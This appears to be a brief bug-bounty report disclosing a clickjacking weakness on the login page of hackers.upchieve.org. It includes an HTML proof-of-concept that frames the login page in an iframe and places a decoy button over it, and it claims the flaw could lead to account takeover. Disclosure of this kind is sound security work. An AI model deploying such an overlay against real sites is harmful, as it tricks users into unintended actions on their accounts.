Clickjacking ar https://hackers.upchieve.org/login

How it was found

I found clickjacking at login page on https://hackers.upchieve.org that can be exploited if the UI overlay can be performed correctly by the attacker.

<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="https://hackers.upchieve.org/login" width="1000" height="550"></iframe>
<div style="height: 30px;width: 130px;left: 53%;bottom: 39%;background: #789;" class="xss"><button>Click me when you finish :)</button></div>
</body>
</body>
</html>```

## Impact

Its login page so if the UI overlay can be performed correctly by the attacker, this can lead to account takeover.